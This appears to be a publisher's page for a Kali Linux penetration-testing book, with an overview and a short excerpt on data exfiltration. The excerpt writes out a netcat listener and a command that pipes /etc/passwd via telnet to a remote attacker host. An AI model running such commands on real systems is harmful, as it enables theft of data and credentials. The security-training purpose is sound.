Book Image

Mastering Kali Linux for Advanced Penetration Testing – Fourth Edition - Fourth Edition

By : Vijay Kumar Velu
Book Image

Mastering Kali Linux for Advanced Penetration Testing – Fourth Edition - Fourth Edition

By: Vijay Kumar Velu

Overview of this book

Remote working has given hackers plenty of opportunities as more confidential information is shared over the internet than ever before. In this new edition of Mastering Kali Linux for Advanced Penetration Testing, you’ll learn an offensive approach to enhance your penetration testing skills by testing the sophisticated tactics employed by real hackers. You’ll go through laboratory integration to cloud services so that you learn another dimension of exploitation that is typically forgotten during a penetration test. You'll explore different ways of installing and running Kali Linux in a VM and containerized environment and deploying vulnerable cloud services on AWS using containers, exploiting misconfigured S3 buckets to gain access to EC2 instances. This book delves into passive and active reconnaissance, from obtaining user information to large-scale port scanning. Building on this, different vulnerability assessments are explored, including threat modeling. See how hackers use lateral movement, privilege escalation, and command and control (C2) on compromised systems. By the end of this book, you’ll have explored many advanced pentesting approaches and hacking techniques employed on networks, IoT, embedded peripheral devices, and radio frequencies.
Table of Contents (17 chapters)
15
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16
Index

Exfiltration of data

The unauthorized transfer of digital data from any environment is known as the exfiltration of data (or the extrusion of data). Once persistence is maintained on a compromised system, a set of tools can be utilized to exfiltrate data from highly secure environments.

In this section, we will explore different methods that attackers utilize to send files from internal networks to attacker-controlled systems.

Using existing system services (Telnet, RDP, and VNC)

Firstly, we will discuss some straightforward techniques for quickly grabbing files when access to compromised systems is time-limited. Attackers can simply open up a port using Netcat by running nc -lvp 2323 > Exfilteredfile, and then run cat /etc/passwd | telnet remoteIP 8000 from the compromised Linux server.

This will display the entire contents of etc/passwd to the remote host. As an example, we are extracting a password list from the internal host to a remote Kali machine on AWS,...